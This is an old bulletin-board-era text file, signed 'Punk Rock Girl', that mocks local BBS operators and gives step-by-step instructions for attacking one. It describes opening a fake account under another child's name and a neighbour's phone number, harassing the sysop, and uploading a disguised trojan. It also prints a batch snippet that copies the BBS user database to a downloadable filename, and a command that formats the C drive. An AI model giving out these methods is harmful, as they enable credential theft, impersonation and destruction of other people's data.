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How To Kill A Stupid BBS and drive the SysOp Crazy
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A random pile of trash spewed out by Punk Rock Girl for you to
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decipher...
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Lets talk about your local BBS. Is it one of those place that
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boasts of having the best files and the most wonderful message
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subs in the world? Good, that means its run by a 14 year old
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little twit and it more than likely SUCKS!
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What can you do to protect yourself from invasion of the retards?
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Well its really simple. You can destroy their computer with a
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sledge hammer or you can drive them crazy and make them leave.
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Step One:
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First thing you need to do is pretend to be one of the mindless
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modem pigs and call them up. Log in as new and use REAL
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information. If everything goes good it wont matter if they have
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your info since they wont be around very long anyway.
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If the SysOp makes you leave feedback to him then just say the
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usual crap about how you got the number from some BBS list they
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plastered their name all over and how you think that they are the
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neatest thing to happen since tampons.
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Now you need to look around the BBS. You probably wont have
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access to anything because the SysOp is a paranoid little phoebe
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and only lets you log off or leave mail to him. Hang up.
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If the guy calls you and voice-validates you then tell him your
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house is on fire and you can't talk to him ( you should tell this
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to everybody on the phone.) Now you are valid on the stupid BBS
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and you can look around.
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Call it and do the following. Look at all his message subs and
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file areas, look at the user list, and look at what doors he has.
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Now for the fun part.
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You need to get the name of a kid who is never at HIS house.
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Some person who is always hanging around at the neighbors house
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or something. Lets say his name is Dustin ( what a stupid name!)
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Now you need to get your neighbors phone number.
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Log into the BBS as new. When it asks your name say Dustin.
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When it asks you number just say the number of the people Dustin
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hangs out with all the time. In the feedback ( or letter you send
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him anyway ) tell him you are at school for 700 hours a day and
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that you are home from 5:00pm to about 6:00am. Now when the
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little sysop calls to voice validate him they will say "No sorry
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he is not here right now" he'll just think that you are hard to
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reach, not that you don't exist.
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If you have a better plan then by all means use it, this is
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just an idea for you `brain impaired' people who are reading
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this.
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Now you have a FAKE account to hack and trash the goober BBS
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with.
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Step Two:
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Drive the sysop crazy. Leave him letters ALL the time about how
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your file credits are going down and you can't download anything.
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Tell him when you log in it says that there is no time left and
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it logs you off. Go to the message subs and post way off topic,
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talk about your vacation or something. Remember that this is a
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fake account so you can make up fun stuff about how you have
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syphilis.
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Now to the doors section. If this guy has such a great BBS he
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must have something really good online. All the better to wreck
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things with. Use every door 70000000 times a day and keep getting
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new accounts every time, fighting with everybody, ALT-H in the
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middle of the game...
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Most of the people who run doors must run them through BATCH
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files. Abort the batch file, sometimes fun stuff happens. Mostly
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you get to see some path names from DOS.
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Just remember the name of the directory his BBS is in. Now
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upload him a trojan horse to kill everything in that directory.
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Something even more creative would be to copy the USER.SL2
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STRING.TXT USER.FIL whatever... to a directory where you can
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download it. Take for instance the fact that he has a file called
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K-RAD.ZIP in a directory called misc, available for download. All
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you gotta do is copy his user file into the same directory as K-
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RAD.ZIP and call it K-RAD.ZIP! Now you can download his user
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file! All you gotta do is upload him a program that says this
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(theoretically) :
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@ECHO OFF
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COPY C:\BBS\USER.DAT C:\BBS\MISC\K-RAD.ZIP>nul
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echo Incorrect DOS Version
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That's just stupid batch file, but if you have a brain you can
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write this into a program in .3 seconds so it looks more like
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something the SysOp will want to run. Now just call and download
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K-RAD.ZIP
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Then upload PROGRAM1.EXE to him, then PROGRAM2.EXE.
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TA DA!
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Log in as anybody you want or just log in as the sysop and play
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with his DOS.
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Things to do in dos would include:
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Delete everyfile on his hard drive directory by directory, DONT
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say *.*, any question DOS asks that requires a yes or no answer
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will not let a remote user answer. You should just say DEL *.exe
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and then DEL *.COM and then... etc until they are all dead. Now
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you need to go to the root directory and remove the directories.
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But wait he can still use UNDELETE! You need to run PROGRAM1.EXE
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right now.
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Just format the stupid thing. How to do it without getting hung
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up on? Simple type this EXACTLY!
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ECHO y | FORMAT C:
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That should work... dont get your hopes up.
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If you dont wanna take any chances then just run PROGRAM2.EXE and
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watch everything DIE!
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Oh yeah, after you run program2 I wouldn't run anything from a
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BBS... EVER again... heeheeheeheeheehee ( assuming his computer
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still works )
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Method Three:
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Upload the file PROGRAM3.COM to the sysop. Tell him its a great
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new ANSI advertisement for his BBS! If he is stupid he will run
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it. Once again, dont run anything you get from him... or anyone
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who gets anything off his computer. HAHAHAHAHAHAH!!!
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That's the end. I hope you put this file to good use. Bye.
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Punk Rock Girl
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